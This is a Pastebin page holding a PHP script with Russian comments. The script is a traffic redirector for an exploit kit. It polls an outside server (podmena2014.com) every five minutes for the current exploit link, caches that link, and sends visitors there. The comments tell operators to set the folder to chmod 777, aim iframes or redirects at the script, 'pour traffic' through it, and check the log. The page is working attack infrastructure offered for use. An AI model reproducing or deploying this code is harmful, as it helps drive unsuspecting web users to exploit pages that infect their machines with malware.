Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- 1) Создайте папку с правами за запись (chmod 777) и поместите туда этот скрипт под ЛЮБОЕ_НАЗВАНИЕ.php
- 2) Поставьте iframe или редирект на данный скрипт и лейте траф
- 3) Иногда посматривайте лог файл log.txt
- */
- //----------
- // обновлять линк каждые 5 минут
- $secToUpdate = 60*5;
- // сюда будет сохраняться актуальный линк на сплойт
- define(SpLinkPath, './redirect.txt');
- // лог файл
- define(LogPath, './log.txt');
- //----------
- $SpFeed = 'http://podmena2014.com/getspllink.php?login=[redacted]&auth=[redacted]';
- $LocalLinkData = @file_get_contents(SpLinkPath);
- if (!$LocalLinkData || (time() - filemtime(SpLinkPath) > $secToUpdate))
- {
- $LinkData = @trim(CurlGet($SpFeed));
- if($LinkData && substr_count($LinkData, 'http://'))
- {
- if(@file_put_contents(SpLinkPath, $LinkData))
- {
- LogSet('UPDATED');
- }
- else
- {
- LogSet('Set CHMOD 777 to dir');
- }
- Header('Location: '.$LinkData);
- }
- else
- {
- LogSet('Network error or format. Cant get link data');
- }
- }
- else if($LocalLinkData && substr_count($LocalLinkData, 'http://'))
- {
- Header('Location: '.$LocalLinkData);
- exit;
- }
- else
- {
- LogSet('ERROR');
- }
- function LogSet($sData)
- {
- $dT = date("Y-m-d H:i:s");
- $sLogStr = "$dT : $sData\r\n";
- //print $sLogStr.'<br>';
- if(WriteToFile(LogPath, $sLogStr))
- {
- return true;
- }
- else
- {
- return false;
- }
- }
- function WriteToFile($path, $content)
- {
- $fp = fopen($path, 'a');
- if(!$fp) return false;
- fputs($fp,$content);
- fclose($fp);
- @chmod($path, 0777);
- return true;
- }
- function CurlGet($Url)
- {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $Url);
- curl_setopt($ch, CURLOPT_HEADER, false);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
- curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla');
- $data = curl_exec($ch);
- curl_close($ch);
- return $data;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement